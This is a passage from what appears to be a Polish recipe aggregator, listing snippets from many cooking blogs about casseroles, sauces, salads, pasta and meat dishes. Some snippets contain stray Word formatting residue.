posiekać. Dno i boki naczynia żaroodpornego posmarować smalcem lub olejem. Na dno ciasno ułożyć ziemniaki, posypać koperkiem i posolić. Na ziemniaki ułożyć szynkę, na szynkę kawałki kalafiora.  Zrobić sos. Roztrzepać jajko. Dodać odrobinę soli, pieprzu i pełną łyżeczkę tartej gałki muszkatołowej. Dolać śmietanę i porządnie wymieszać. Polać zapiekankę.   Na wierzch pokruszyć twaróg i lekko ugnieść całość. Przykryć pokrywką

Ze smakiem bez glutenu
Boczek peklowany pieczony 263

piekarnika nagrzanego do 160 stopni na ok. 1,5 godziny. Jeśli boczek jest bardzo gruby należy potrzymać go trochę dłużej w piekarniku. W trakcie pieczenia można go podlewać trochę sosem z pieczenia, żeby mięso zbytnio nie wyschło. Następnie wyjąć z formy i zostawić do wystudzenia. Najsmaczniejszy jest po kilkugodzinnym schłodzeniu w lodówce. Smacznego

Ze smakiem bez glutenu
Pieczona szynka peklowana w zalewie 411

Domowa wędlina albo pieczeń do obiadu - zależy kiedy i jak grubo pokroimy:-) Doskonale smakuje zarówno na zimno, do kanapek jak i na ciepło, na obiad, koniecznie polane sosem.  Marynowanie zajmuje kilka dni ale dzięki temu mięso jest dobrze doprawione nie tylko z wierzchu ale również w środku. Składniki: ok. 2 kg surowej szynki wieprzowej Zalewa: 3 szklanki przegotowanej, zimnej

Ze smakiem bez glutenu
Czerwona kapusta zasmażana z czerwonym winem i konfiturą porzeczkową 241

jako dodatek do mięsa.  Kapusta jest lekko słodka, lekko kwaśna i ma lekki posmak wina. Idealnie sprawdza się ze zwykłym schabowym i wszelkimi mięsami pieczonymi lub smażonymi bez sosu.  Przepis jest prosty w wykonaniu a jego wykonanie zajmuje około 30 minut. Składniki: ok. 1 kg czerwonej kapusty 1 duża szalotka lub czerwona cebula 1 szkl czerwonego, wytrawnego wina

Ze smakiem bez glutenu
Groszkowe kotlety szczęścia 249

owsianych. Masa, chociaż klejąca,  powinna mieć taką konsystencję, by dało się z niej formować zręczne kotleciki. Na patelni rozgrzać olej i usmażyć kotleciki z obu stron. Podawać z sosem jogurtowo-miętowym albo jogurtowo-czosnkowym

Bon Appetit Małgorzaty
Krokiety ziemniaczane z farszem – kuchnia podkarpacka 1013

Ziemi Lubaczowskiej. Są to krokiety przygotowane z ciasta na bazie gotowanych ziemniaków, z farszem z mielonego mięsa i żółtego sera. Smaczne i oryginalne. Krokiety można podawać z różnymi sosami i surówkami. Składniki na około 10-12 dużych sztuk: 1 kg ugotowanych ziemniaków 1 szklanka mąki pszennej 2 łyżki mąki ziemniaczanej 1 jajko sól Farsz: 400 g mielonego mięsa (u mnie

Trzeci talerz
PĘCZAK Z WARZYWAMI 225

ostatnio zrobiłam z warzywami. Pod tą postacią był dodatkiem do gotowanych klopsików . Danie wyszło tak pyszne, że od samej kaszy nie mogłam się oderwać! Dla mnie dodatek mięsa i sosu był po prostu ... zbędny 😉, no ale przecież nie gotuję tylko dla siebie 😙 Składniki: 1 szklanka kaszy pęczak 3 łodygi selera naciowego 2 cebule 3 ząbki czosnku 2 marchewki 1 pietruszka

Walijskie Pichcenie
SAŁATKA Z KURCZAKA ZE SZPINAKIEM I MAKARONEM 170

naturalnego. Polecam.  SKŁADNIKI: Mięso 2 filet z kurczaka 1 łyżka papryki czerwonej słodkiej 1 łyżeczka czosnku niedźwiedziego 1 łyżeczka czosnku granulowanego Sól i pieprz do smaku 1 łyżeczka sosu sojowego ciemnego  Sałatka 2 garście mix sałat 1 Garść świeżego szpinaku 3 ogórki konserwowe 1 cebula 1 zupka chińska sam makaron 1 /2 puszki kukurydzy 10 dag sera żółtego

Gotowanie Patki
PULPETY Z INDYKA I CUKINI 254

Pulpety z indyka i cukinii , pieczone w sosie pomidorowym. Lekko i pysznie. Polecam.  SKŁADNIKI: 500 ml mięsa mielonego z indyka 2 cukinie 2 jajka 3 łyżki bułki tartej 2 łyżki mąki ziemniaczanej Sól i pieprz do smaku Czosnek niedźwiedzi 2 łyżki majeranku. Natką pietruszki PRZYGOTOWANIE:  Cukinie obieram i trę na tarce o grubych oczkach. Cukinię solę a następnie

Gotowanie Patki
Sałatka z tuńczyka i makaronu instant 222

Natychmiast stały się przebojem wśród osób stosujących dietę studencką. Trafiły też do sałatek.   Typowy przepis zakładał połamanie makaronu i dodanie go do sałatki, w której warzywa puszczają dużo sosu np. z pomidorami i ogórkami. Wtedy makaron nasiąkał warzywami i smakował całkiem nieźle. Jeszcze lepsza jest sałatka z już ugotowanym makaronem. Odcedzamy bulion i makaron dodajemy jako jeden ze składników

Ugotowane pozamiatane
Mrożony tort tiramisu na rozpoczęcie wiosny 209

chęci dwóch małych chłopców, skutecznie odciągając tym ich uwagę od Ptysi, która w stosunku do dzieci jest raczej mało tolerancyjna. A po wyśmienitym obiedzie, w którego skład wchodził domowy sos berneński, na deser podałam mrożony tort tiramisu. Pracowałam cały weekend, nie miałam więc za bardzo czasu na przygotowanie odpowiednio efektownego tortu. Stwierdziłam, że lody lubią wszyscy, lodowy tort będzie więc

Pożeraczka, czyli raz adobrze
Ciasto francuskie ze szparagami, papryką, cukinią, kukurydzą i mozzarellą 252

stron. Na środek układamy cukinię, potem paprykę, szparagi, kukurydzę i mozzarellę. Zawijamy ciasto. 3. Pieczemy około 20 - 25 minut. Ciasto musi nam się ładnie zarumienić. Możemy podać z sosem czosnkowym :-). Smacznego

kruche babeczki
Grillowany kurczak cytrynowy ze szparagami i jajkiem w koszulce 254

Jajko rozbić i wlać delikatnie do wody, gotować „nakładając” na siebie białko około 2 minut. Wyciągnąć. Na talerzu ułożyć pierś, szparagi i jajko. Posypać parmezanem. Żółtko stanie się najsmaczniejszym sosem Smacznego

Ania i Marcin gotują
Zupa krem z białych warzyw z gruszką i chipsami z jarmużu 142

mojej kuchni na przykład takiego ja ten: klasyczna baza z bulionu i warzyw ze szczyptą chili a do podania grillowana gruszka, chrupiący słonecznik i chipsy z jarmużu oraz sos balsamiczny z nutką trufli

Milion Smaków
Jajka zapiekane ze smardzami w sosie śmietanowo-serowym 232

świąteczne śniadanie. W zanadrzu miałam jeszcze zeszłoroczne suszone, ale co świeże to świeże. Udało się w Wielki Piątek i na wielkanocnym stole były jaja zapiekane ze smardzami w sosie śmietanowo serowym. Powiem krótko - wielka pycha i tylko szkoda, że tak mało. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Surówka z kapusty pekińskiej i białej rzodkwi 238

cebulą, dodać sól, delikatnie wygnieść, odstawić warzywa obrać, zeetrzeć na grubych oczkach tarki jarzynowej olej, ocet i miód wymieszać do uzyskania gładkiej emulsji kapustę wymieszać z warzywami i sosem. Posypać zieleniną podawać schłodzoną

Gotuj zdrowo!Guten Appetit!
Hiszpańska paella z produktami Lidl 226

Już od wtorku 2 maja w sklepach Lidl Polska ropoczyna się Tydzień Kuchni Hiszpańskiej. Świeże owoce morza, hiszpańskie sery, oliwki, regopnalne sosy i warzywne pasty. Mnóstwo produktów Sol&Mar, które inspirują ! Wybrałam do przetestowania mieszankę owoców morza do paelli. szklanka ryżu szczypta szafranu cebula 2 ząbki czosnku mieszanka owoców morza Sol&Mar bulion ok 750 ml 3/4 szklanki

AZgotuj!
Pudding z chałki i zaproszenie do obejrzenia filmu z Marcinem Dorocińskim 227

pudding szybciej się upiecze. Jeśli jest wyższa, wtedy będziemy potrzebować więcej czasu. Upieczony pudding jest równomiernie wyrośnięty i lekko zrumieniony. Podawać na ciepło z dodatkiem ulubionych konfitur lub owocowych sosów. Czy wiesz, że... Samochody wcale nie emitują największą ilość CO2 do atmosfery? Jeżeli chodzi o transport, to samochody zdecydowanie przegrywają z samolotami (w ilości emitowanego dwutlenku węgla mają jednak mocne

Codzienna kuchnia niecodzienna
Placuszki ryżowe z bananami i karmelem 328

nasze ulubione placuszki śniadaniowe, tym razem z mąki ryżowej i bananów polane słodkim karmelem, który został z mini serniczków Macierzyństwo uczy organizacji czasu i myślenia perspektywicznego, stąd ponowne użycie sosu karmelowego 12 placuszków 15 min 2 szklanki mleka 200 g mąki ryżowej 1 jajko 2 łyżeczki cukru waniliowego 1 łyżeczka proszku do pieczenia 2 banany karmel: JAK W TYM PRZEPISIE

Ania i Marcin gotują
Niezwykła moc kaszy jaglanej !!! 932

przepisów z wykorzystaniem kaszy jaglanej: 1. Kotlety z kaszy jaglanej z suszonymi pomidorami i oliwkami 2. Mini kotleciki z soczewicy i kaszy jaglanej 3. Pulpety z kaszy jaglanej w sosie paprykowo-pomidorowym 4. Wegański pasztet z czerwonej soczewicy i kaszy jaglanej 5. Bezglutenowe placuszki jaglane z nutą pomarańczy i dżemem z    rokitnika 6. Placuszki jaglane z bananem

kulinarne odsłony pati
Pierożki pieczone z mielonym mięsem i warzywami 179

jajko z mlekiem i tą mieszanką smarujemy nasze pierogi.  Pierogi wstawiamy do piekarnika i pieczemy około 20-25 minut do zarumienia ciasta.  U mnie były podane z sosem czosnkowym .  Smacznego ! Pierożki pieczone z mielonym mięsem i warzywami

Kuchnia na wzgórzu
Makaron z brokułem w sosie serowym 205

pieczarki puszczą odrobinę wody, dodajemy malutkie różyczki umytego brokułu, przykrywamy i dusimy do momentu aż będą lekko chrupiące. Dodajemy śmietankę, oba sery i mieszamy do ich całkowitego rozpuszczenia. Gotowy sos doprawiamy szczyptą pieprzu i suszonym tymiankiem. Łączymy z makaronem. Podajemy na ciepło

Kuchnia w czekoladzie
Burrito kurczakiem, awokado i batatem. 224

fantazja, lub chęć trzymania się bardziej lub mniej ściśle meksykańskiego klimatu. Mnie, przy wymyślaniu moich burrito, towarzyszyła myśl, by było to danie lekkie. Bez mielonego mięsa i bez gęstego sosu - jego rolę miały przejąć puree z batata i awokado oraz lekka i orzeźwiająca w charakterze marynata do kurczaka. Jak pomyślałem, tak zrobiłem i się nie pomyliłem - wyszło naprawdę pysznie! Jedyne

zadanie-gotowanie
Ryba po grecku z wolnowaru 320

Pyszna rybka w sosie greckim, robiłam ją jakiś czas temu,a  dokładnie to przed świętami, na Wielki Piątek.Ostatnio dość często używałam wolnowar, super sprawa..ja zazwyczaj szykuję jakąś potrawę w wolnowarze wieczorem, w nocy powolutku się pitrasi , a ja śpię spokojnie, rano tylko sprawdzam co i jak ..i idę do pracy..a mąż i córka mają obiadek prawie

Moje domowe kucharzenie
WEGETARIAŃSKIE NALEŚNIKI ZAPIEKANE Z SEREM 257

posypujemy nim naleśniki w naczyniu. Wierzch możemy posypać suszonym majerankiem. Naczynie żaroodporne zakrywamy folią aluminiową i wkładamy do piekarnika nagrzanego do 190 stopni na około 15 min. Podajemy z sosem, np. pomidorowym, koperkowym lub czosnkowym, albo ketchupem

Kuchnia MagdaLeny
Makaron w sosie śmietanowym z szynką, papryką i pieczarkami 480

Dziś polecam Wam pyszny i szybki w przygotowaniu makaron w sosie śmietanowym z szynką, papryką i pieczarkami . Obiad idealny dla zabieganych. Syci i smakuje, a przygotowanie trwa zaledwie kilka minut. Smaku daniu nadaje przede wszystkich dobrej jakości szynka. Ja polecam Szynkę po staremu Duda. Obiad idealny. Spróbujcie. Składniki: (na porcję) porcja makaronu penne 3 czubate łyżki śmietany 18% 1/4 żółtej

Słodkie okruszki
Dieta – makaron z tuńczykiem 286

wszystko razem, aż papryka zrobi się miękka. Kolejno dodajemy ogórka, pomidory i odsączonego tuńczyka . Całość dusimy razem przez 3-4 minuty. Makaron gotujemy al dente i dodajemy do przygotowanego sosu. Posypujemy posiekanym koperkiem i wykładamy na talerze. Tak przygotowany makaron możecie również zabrać na obiad do pracy, albo na uczelnię. Spróbujcie – ten makaron jest wyśmienity. Post Dieta – makaron

Kulinarnyblog.pl - wiesz jak gotować!
Placki paprykowe z sosem jogurtowym 229

piekarniku i ją obrać ze skórki. My zajadaliśmy placki na obiad z jogurtem ziołowym ale równie dobrze będą smakowały na śniadanie czy wczesną kolację, polecam gorąco. Placki paprykowe z sosem jogurtowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
CUKINIA W SAŁACIE 226

Przygotowujemy dip do naszej sałatki: 2 łyżki wody + 2 łyżki oleju w których były suszone pomidory + 2 łyżeczki pestek dyni + sól do smaku. Wszystkie składniki sosu dokładnie mieszamy i polewamy naszą sałatę.       CUKINIĘ W SAŁACIE wkładamy na 15 min do lodówki. Podajemy z pieczywem czosnkowym:) Smacznego

Zdrowo i kolorowo
Wegetariański zestaw na wiosnę, Escape Rooms 262

zdjęciu: puree ziemniaczane, sos koperkowy  na mleku, z dodatkiem mąki kukurydzianej i spiruliny (1 łyżeczka), surówka z kapusty kiszonej z olejem lnianym, mini marchewki z imbirem i chili na maśle klarowanym i jaglane nuggetsy. Escape rooms (jest ich kilka w Rzeszowie)  to ciekawy pomysł na spędzenie wolnego czasu, integrację pracowników a nawet zabawę rodzinną. To taka

Qlinarnie i Qlinarnie
Cytrynowy krem, Bieszczady 221

Fotorelacja z Bieszczad (kwiecień 2017) Gastronomia -> warto spróbować lokalnych przysmaków: pierogów nazywanych  warenyky , z kaszą gryczaną i serem wędzonym, placków ziemniaczanych z kiszoną kapustą i grzybowym sosem, czyli  łężni  lub fuczków oraz  babki ziemniaczanej  (2 placki ziemniaczane przełożone masą ... ziemniaczaną, czyli ziemniaki z ziemniakami, ale jakie dobre:).  Jeśli pijecie alkohol, to warte

Qlinarnie i Qlinarnie
Szybka przekąska z jajka i białej kiełbasy 283

dekoracji Wykonanie: Jajka ugotować na twardo. Surową białą kiełbasę sparzyć (nie gotować!). Majonez wymieszać z chrzanem w miseczce. Schłodzoną kiełbasę pokroić w grube plastry, wyłożyć na nią niewielką ilość sosu chrzanowego, posypać kiełkami lub szczypiorkiem. Całość połączyć jajkiem z wykałaczką

Mojewlasne.pl
Zapiekanka ziemniaczana na 5 sposobów 528

sposób przygotujesz słynną angielską zapiekankę pasterską lub indyjską zapiekankę z mielonej jagnięciny, doprawioną curry oraz świeżą kolendrą. Do pieczonych ziemniaków rewelacyjnie pasuje kurczak – wystarczy tylko dodatek śmietanowego sosu oraz tymianku i rozmarynu, żeby przyrządzić proste i smaczne danie. Przed pieczeniem dobrze jest podsmażyć mięso, zwłaszcza jeśli zależy Ci na czasie. Do zapiekanki ziemniaczanej pasować będą nie tylko filety, ale także

Kulinarnyblog.pl - wiesz jak gotować!
Fasolowe leczo z bakłażanem 254

Dodaj pokrojoną w kostkę paprykę, smaż kolejne 5 minut. Dodaj ugotowaną fasolę, przemieszaj wszystko dokładnie. Dodaj przyprawy i mieszając przez 2-3 minut smaż.   Na samym końcu dodaj sos pomidorowy i duś wszystko razem przez 10 minut aż fasola będzie ciepła. Najlepiej smakuje z kromką prawdziwego chleba na zakwasie Smacznego!     Artykuł Fasolowe leczo z bakłażanem pochodzi

greenscarf
Jak zrobić klasyczny domowy jogurt? 305

Uwielbiam naturalne jogurty. Właściwie nie wyobrażam sobie bez nich mojej kuchni. Idealne na śniadanie, jako dodatek do najróżniejszych sosów, dań, a nawet obiadu czy ciast.  Czy wiedzieliście, że takie jogurty można w prosty i szybki sposób przygotować w domu? Przygotowanie zajmuje dosłownie kilka minut, a efekt…? Ja jestem bardzo zadowolona zarówno ze smaku, jak i konsystencji jogurtu

Słodkie okruszki
Tortilla z kurczakiem i warzywami (rollo kebab) 396

Domowa tortilla pełna drobiowego mięsa i warzyw. Z przyprawą do kebaba, sosami chili i czosnkowym jest ostra i pikantna. Ciasto na tortillę warto przygotować samodzielnie. Czytaj dalej

Przepisy Kulinarne
Horiatiki - grecka wiejska sałatka 205

oryginalny przepis. Grecka wiejska sałatka urzeka smakiem soczystych dojrzałych warzyw, słonej fety, esencjonalnej oliwy. Podaję ją z białym pieczywem, żeby można było maczać go w powstałym z warzyw sosie aż do ostatniej kropelki... Tak się składa, że teraz w sklepach Lidl trwa Tydzień Grecki, warto więc zaopatrzyć się w aromatyczną oliwę, dorodne oliwki kalamon, oryginalną fetę i zajadając sałatkę horiatiki

Obiad gotowy
TAJSKA ZUPA Z KURCZAKIEM I ANANASEM + FILMIK 186

litr bulionu warzywnego 1 mała papryczka chilli 1 łyżka tartego imbiru 2 łyżki soku z cytryny lub limonki 1 łyżeczka kminku rzymskiego, mielonego 1 łyżeczka curry  1 łyżka sosu sojowego 1 łyżeczka kolendry  1 łyżeczka cukru 2 łyżki oleju  sól himalajska, pieprz i papryka w proszku do smaku

Kulinarne Fantazje Marioli
Makaron ze szparagami i pomidorkami koktajlowymi 200

Zapisz przepis Drukuj Składniki 200 g makaronu penne pełnoziarnistego 1 łyżka oleju 300 g zielonych szparagów 3 ząbki czosnku 250 g pomidorków koktajlowych garść szpinaku świeża bazylia do posypania sos 1 duże jajko 50 g mozzarrelli szczypta soli szczypta czarnego pieprzu Przygotowanie Ugotuj makaron al dente w dużej ilości słonej wody. W dużej misce połącz za pomocą trzepaczki sól, pieprz

Powiedz dietom nie
Krokiety ziemniaczane bolognese 243

drobno czosnek oraz posiekaną w drobną kostkę cebulę. Delikatnie dopraw solą i dodaj pomidory bez skórki (pomidory wcześniej sparz wrzątkiem) z bazylią. Wymieszaj, aż pomidory się rozpadną. Cały sos zredukuj do bardzo gęstego i dopraw do smaku solą, pieprzem i chilli. Ostudź. Ugotowane wcześniej ziemniaki przepuść przez praskę, dodaj jajka, mąkę i wymieszaj, aż powstanie gładkie ciasto. Z ciasta uformuj

Niezły Młynek
jajka w sosie majonezowym z rzodkiewką 156

około pół pęczka pół szklanki majonezu pieprz i odrobina soli Wykonanie: Do majonezu dodajemy pokrojoną rzodkiewkę oraz szczypiorek .Doprawiamy solą i pieprzem do smaku.. Na no talerza dajemy sos z majonezu

Ugotujmy Coś
DOMOWY PAPRYKARZ Z TUŃCZYKIEM I KOLOROWYM RYŻEM 197

zdrowo, czego już chyba nie muszę dodawać 😊.  Dziś zapraszam na paprykarz z tuńczyka, z dodatkiem kolorowego ryżu. Koniecznie wypróbujcie przepis. Składniki: (na dużą porcję) 4 puszki tuńczyka w sosie własnym (w kawałkach) 2 cebule 2 marchewki 1 pietruszka 2 woreczki  po 100 g kolorowego ryżu sól pieprz słodka i ostra sproszkowana papryka cukier ketchup (do smaku) 200g koncentratu

Walijskie Pichcenie
Pasta z czosnku niedźwiedziego 287

lepiej wkładać słonecznik i liście porcjami. Po zmiksowaniu - dokładać kolejne porcje, polewając olejem, aż do wyczerpania składników. Masa ma być bardzo gęsta – to ma być pasta, nie pesto (czyli sos). Pasta z czosnku niedźwiedziego może być wykorzystana do kanapek z wędliną, twarogiem, do grzanek, do jajek na twardo, do grilla… i nie tylko. Przepis znalazłam na blogu Zielony stolik

mojewypiekiinietylko
Łosoś w cieście francuskim ze szpinakiem 327

sezamem. Całość piec na papierze do pieczenia przez 25 minut w 200 stopniach. Po upieczeniu pokroić w plastry i podawać z sosem czosnkowym. Krok po kroku: 1. Odciąć skórę z łososia 2. Przełożyć rybę na ciasto francuskie 3. Wyłożyć ser i szpinak 4. Wyciąć paski z ciasta

KuchniaWeDwoje.pl
Sałatka kusksus z łososiem 176

kawałkami pomarańcza, pomidorami, cebulą, oraz pokrojoną papryką. Do słoiczka wlewam 8 łyżek oliwy od pomidorów, dodaję ocet, bazylię, sól, oregano, czosnek sprasowany i energicznie potrząsam słoikiem. Sałatkę polewam sosem przed podaniem

wesoła kuchnia
Sałatka z czerwonej kapusty z chrzanem 210

Lekko ostra sałatka z czerwonej kapusty. Ostrości nadaje jej chrzan, koloru kapusta, a konsystencji majonez. Pasuje do wszystkich dań mięsnych oraz klusek śląskich z sosem. Nadaje im charakteru :) Składniki: pół główki małej kapusty czerwonej 1 łyżeczka soku z cytryny 1 duża marchewka 1 cebula sól i pieprz do smaku 2 czubate łyżeczki chrzanu 3 duże łyżki majonezu

Smak mojego domu
Naleśniki à la tortilla 261

majonez, przyprawić do smaku solą i pieprzem, i dokładnie wszystko wymieszać.  Na usmażone naleśniki nakładać przygotowany farsz warzywny, zawijać jak tortillę, a po wierzchu polać ketchupem lub innym sosem według własnego upodobania. Smacznego :) P.S. Świetnie tutaj się komponuje domowy ketchup z dyni. Przepis znajdziesz na blogu

Dieta Rozdzielna i Zdrowie
Pulpeciki z przyprawą shoarma 153

Taką jest właśnie shoarma, mieszanka cynamonu, goździków, papryki, kminu, czosnku, kurkumy, imbiru, pieprzu, kolendry, kardamonu i chili. Zapach unosi się po całym mieszkaniu <3 Pulpeciki podaliśmy z delikatnym sosem pomidorowym i kaszą bulgur. Składniki 300 g filetów z kurczaka 1 szalotka 2 ząbki czosnku 1 jajko przyprawa shoarma bułka tarta olej do smażenia     Przygotowanie   Normal

R'n'G Kitchen
Makaron z duszoną cebulą i kiełbaską 132

kawałki. Na rozgrzanym tłuszczu (na wolnym ogniu) dusimy, razem z kiełbaskami, na wolnym ogniu. Następnie dodajemy koncentrat, dokładnie składniki mieszamy. Do smaku doprawiamy solą i pieprzem. Do makaronu dodajemy sos. Składniki łączymy, posypujemy ulubionymi, świeżymi ziołami. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
Kotlety mielone czosnkowe z młodą kapustą. 291

bulionu, który zrobimy z kostek rosołowych. Formujemy kotlety, otaczamy mąką i rozgrzewamy tłuszcz na patelni. W garnku gotujemy bulion z kapustą i potem miksujemy blenderem, żeby uzyskać zielony "sos" Kotlety smażymy z obu stron i gorące podajemy w kapuścianym zielonym bulionie. Smacznego

chleba naszego
Gofry falafelowe z ciecierzycy 230

kulki. Gofrownice nagrzewamy i natłuszczamy. Wkładamy kulki i spłaszczamy. Pieczemy 8-10 minut w zależności od mocy gofrownicy. Studzimy na kratce lub na ręczniku papierowym. Pysznie smakują z domowym sosem pomidorowym

Dzieje kuchennej Wiewióry
Szybkie curry z wieprzowiną 237

podsmażamy jeszcze chwilę. Następnie na patelnię wlewamy około 200 ml zimnej wody i gotujemy do czasu aż większość płynu odparuje. Dodajemy mleczko kokosowe i gotujemy aż tworzący się sos zgęstnieje. Na samym końcu dodajemy sok z cytryny, mieszamy. W międzyczasie przygotowujemy ryż. Przesypujemy go do garnka. Zalewamy wodą, tak by wody było około 2 cm ponad ryż. Dodajemy sól, kmin

Smaki Na Talerzu
Zapiekanka ziemniaczana w sosie tzatziki 201

mieszamy i wylewamy na zapiekankę. Przykrywamy folią aluminiową i zapiekamy w piekarniku nagrzanego do 180 O C, aż ziemniaki lekko zmiękną ( sprawdzamy widelcem; dzięki temu ziemniaki ugotują się w sosie z zapiekanki ). Przed końcem zapiekania ( około 15 minut przed ) zdejmujemy folię i tak zapiekamy tak do końca. Czas zapiekania uzależniony jest od ziemniaków ich grubości i gatunku. Na ogół trwa

Smaki Ewy
Makaron ryżowy z kurczakiem i szpinakiem 414

przez wielu nielubiany szpinak proponuję połączyć go z kurczakiem i makaronem.  Efekt gwarantowany! Makaron ryżowy z kurczakiem i szpinakiem Składniki: pół opakowania makaronu ryżowego opakowanie mrożonego szpinaku w sosie śmietanowym 3 ząbki czosnku filet z kurczaka przyprawy do kurczaka (takie jakie lubisz;) olej do smażenia Przygotowanie: Makaron ryżowy przygotowujemy tak jak jest napisane na opakowaniu, czyli zalewamy go gorącą

Lawendowe Niebo
Łosoś z marynowaną cukinią (Salmone con zucchine marinate) 201

układamy na natłuszczonej formie sk ó rką do dołu. Zapiekamy ok. 15 minut w piekarniku nagrzanym do 170 stopni. Upieczonego łososia podajemy z cukinią i sosem z marynaty. **** PREPARAZIONE Tagliate le zucchine a bastoncini e fatele cuocere in una padella con l'olio per circa 3-4 minuti. A questo punto preparate la marinata

La grande e la piccola cuoca
Zupa z czosnku niedźwiedziego 241

najwięcej prozdrowotnych właściwości i są jego najczęściej jadaną częścią. Czosnek niedźwiedzi dzięki swoim walorom znalazł szerokie zastosowanie w kuchni. Nadaje się na przetwory (mrożony, kiszony), pesto, jako dodatek do sosów, pieczywa, twarogów… i nie tylko. Zupa z czosnku niedźwiedziego. Składniki: - ok. 600 g liści czosnku niedźwiedziego z łodyżkami - 2,5 – 3 litry bulionu (warzywny lub drobiowy) - różowa sól himalajska

mojewypiekiinietylko
Kurczak w marynacie jogurtowej 195

Witam wszystkich! Dzisiaj kurczak pieczony w sosie jogurtowym. Mięso jest soczyste i bardzo aromatyczne. Godne polecenia. Potrzebuję do zrobienia marynaty : Czytaj więcej

Tylko pysznie
Karkówka w sosie mascarpone 496

Hej! Postanowiłam dziś zająć się karkówką. Będzie przyrządzona tak jak lubię, czyli z dodatkiem serka mascarpone. Karkóweczka będzie miała łagodny smak. Przepis trochę zmodyfikowałam, bo co

Tylko pysznie
Sałatka z karkówką 215

pieczonej karkówki mix sałat kawałek cebulki olej  sól  sok z cytryny  miód naturalny  łyżka musztardy  czarne oliwki Sałatę płuczemy, karkówkę kroimy na kawałki. Zalewamy sosem z przyprawami, wymieszamy i smacznego

Tylko pysznie
Mus z tapioką 148

naszym jadłospisie odgrywa ziemniak). Zawiera lekkostrawne węglowodany i niewiele białka. Jest hipoalergiczna i pozbawiona smaku. Nie zawiera glutenu i cholesterolu. Tapioki w postaci mąki używa się jako zagęszczacza do sosów, musów. Tapioka ma neutralny smak, stąd też łączy się ją z miodem, cukrem lub innymi słodkimi dodatkami. Polecana jest alergikom, gdyż jest hipoalergiczna i nie zawiera glutenu. W jej składzie

Tylko pysznie
Sałatka z kurczakiem 183

Hej! Wiosna przyszła, za oknem śpiewają ptaki wesołym głosem. Człowiek jakoś czuje się lekko. Chce się żyć! No to dziś szybkie danie doskonale wpisujące się w

Tylko pysznie
Kotleciki indycze w sosie pomidorowo - keczupowym 188

Dziś propozycja dla tych "co muszą sobie zjeść" ☺ . Możecie zrobić sobie kotleciki z mięsa indyczego w sosie pomidorowo - keczupowym. Roboty mało, niemal robi się samo. Potrzebujemy: Czytaj więcej

Tylko pysznie
Zawijas z fileta, fety i szpinaku 160

kurczaka kroję na plastry, rozbijam. Solę, pieprzę. Na patelni rozpuszczam masło, dodaję szpinak. Smażę chwilę by szpinak zmiękł i zmniejszył swoją objętość. Dodaję fetę i śmietanę. Mieszam. Powstanie gęsty sos. Na fileta nakładam masę szpinakową, Roladki zwijam, nakłuwam wykałaczkami by się nie rozwijały, moczę w roztrzepanym jajku, później w mące. Smażę na oleju. Po usmażeniu wyjmuję wykałaczki, kroję w plastry

MojaQchnia.pl
Sałatka tatarska z jajkami 394

Sałatka ta powstała przez przypadek. Miały być jajka w sosie tatarskim , ale niestety jajka po ugotowaniu bardzo źle się obierały i nieładnie by wyglądały na wierzchu sałatki. Białka poszły więc do środka, a żółtka na wierzch. Smak się nie zmienił, ale wizualizacja sałatki zupełnie inna. Składniki: – 6 jajek kurzych

To co kocham
Ziemniaczane Pancakes 178

dziś zapraszam na bardzo puszyste placuszki ziemniaczane , Ja osobiście uwielbiam placki ziemniaczane i bardzo często goszczą na moim stole , smakują mi z każdymi dodatkami , czy ze śmietaną , czy sosem klonowym , po porostu uwielbiam , spróbuj takiej wersji może i tobie zasmakują . Potrzebne nam będą  ( dla jednej osoby ) 3 średnie ziemniaki  1 średnia cebulka  2 łyżki mąki

Mój Smak
Smietankowe penne ze szparagami 160

czasie pomidorki koktajlowe kroimy na połówki lub jeśli są bardzo duże na ćwiartki i dodajemy do śmietanki. Makaron odcedzamy, pamiętając aby nie przelewać go wodą i przekładamy do sosu. Podajemy od razu posypując płatkami parmezanu. Smacznego

Kuchnia od dwojga
Makaron z bakłażanem w pomidorach 149

bakłażana razem z rodzynkami, dusimy pod przykryciem, na małym ogniu przez 20 min (uzupełniamy płyn wg upodobań przegotowaną wodą). Makaron gotujemy al dente. Osączamy. Orzechy prażymy na suchej patelni. Sos do smaku doprawiamy cukrem, solą i pieprzem. Do niego wrzucamy makaron, orzechy, dokładnie łączymy wszystkie składniki. Podajemy z posiekaną bazylią. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband

R'n'G Kitchen
Schab z suszonymi morelami 172

przed wystudzeniem. Ostrym no żem pokroiłam na około 1,5 krążki. Tak przygotowany schab smakuje zarówno na zimno, jaki i na ciepło. Mój schab podałam z kopytkami   i sosem... na słodko. Mówię Wam, palce lizać. Zróbcie taki. Życzę SMACZNEGO! Krys Dziękuję za odwiedziny na moim blogu. Będzie mi miło, jeśli zostawisz komentarz

Kuchnia u Krysi
makaron w sosie szpinakowym... 215

kawałki szpinaku, kostkę rosołową, kucharka, dusić do odmrożenia co jakiś czas mieszając na koniec dodać pieprz mielony, wlać roztrzepane jajka ze śmietaną 12%, zagotować i zdjąć z ognia do sosu wsypać makaron ugotowany i starty ser mozzarella, wymieszać - smaczne, apetyczne danie obiadowe.............SMACZNEGO

W Mojej Kuchni Lubię
Polędwiczki w sosie śmietanowym ze smardzówkami i suszonymi pomidorami 207

być długo gotowane czy duszone więc z obu tych składników można zrobić dość szybkie danie. Szybkie, ale to nie znaczy byle jakie. Takie mięso duszone z grzybami, w śmietanowym sosie doprawionym czosnkiem i pomidorami to coś pysznego! Świetne danie na szybki i jednocześnie bardzo smaczny obiad. Trwa właśnie sezon na grzyby z rodziny smardzowatych, a te które wyrosną w ogrodach

Smaczna Pyza
GULASZ Z KURCZAKIEM I PIECZARKAMI 185

gulasz Olej do smażenia np rzepakowy Marynata do mięsa 1 łyżka czosnku granulowanego 1 łyżeczka papryki czerwonej ostrej 1 łyżeczka papryki czerwonej Pieprz i sól do 2 łyżki sosu sojowego PRZYGOTOWANIE:  Filet z kurczaka myję a następnie kroję w kostkę. W miseczce mieszam składniki marynaty do mięsa. Wszystko mieszam ze sobą, marynuje mięso. Wkładam do lodówki

Gotowanie Patki
Pieczarki w śmietanie 202

